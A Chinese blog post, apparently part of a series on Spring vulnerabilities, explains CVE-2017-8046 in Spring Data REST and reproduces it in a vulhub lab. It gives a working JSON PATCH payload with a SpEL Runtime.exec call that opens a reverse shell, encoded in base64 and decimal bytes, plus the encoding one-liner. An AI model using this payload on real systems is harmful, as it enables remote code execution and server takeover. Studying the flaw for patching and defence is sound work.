spring常见漏洞(3)

发布时间:2024年01月16日

CVE-2017-8046

Spring-Data-REST-RCE(CVE-2017-8046),Spring Data REST对PATCH方法处理不当,导致攻击者能够利用JSON数据造成RCE。本质还是因为spring的SPEL解析导致的RCE

影响版本

Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3 Spring Boot version < 2.0.0M4 Spring Data release trains < Kay-RC3

漏洞分析

这里直接从补丁分析,从官方的描述来看就是就是Spring-data-rest服务处理PATCH请求不当,导致任意表达式执行从而导致的RCE。首先来看下补丁,主要是evaluateValueFromTarget添加了一个校验方法verifyPath,对于不合规格的path直接报异常退出,主要是property.from(pathSource,type)实现,基本逻辑就是通过反射去验证该Field是否存在于bean中

漏洞复现

进入CVE-2017-8046的docker环境

访问http://192.168.1.10:8080/customers/1返回如下界面则存在漏洞

这里先对customers/1这个页面bp抓包,还是通过bash反弹,通过处理后得到命令

因为这里执行的代码被编码为十进制位于new java.lang.String(new byte[]{xxxxxx})中,所以需要对bash命令转成十进制编码

使用python进行编码处理,在python中转十进制的方法为",".join(map(str, (map(ord,"命令"))))

",".join(map(str, (map(ord,"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMi81NTU1IDA+JjE=}|{base64,-d}|{bash,-i}"))))

得到十进制后放入bp包里面进行构造

[
 { "op": "replace", 
   "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,69,117,77,105,56,49,78,84,85,49,73,68,65,43,74,106,69,61,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125}))/lastname",
   "value": "vulhub" 
 }
]

构造后如图所示

发包即可得到反弹shell

文章来源:https://blog.csdn.net/2301_80520893/article/details/135504193
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。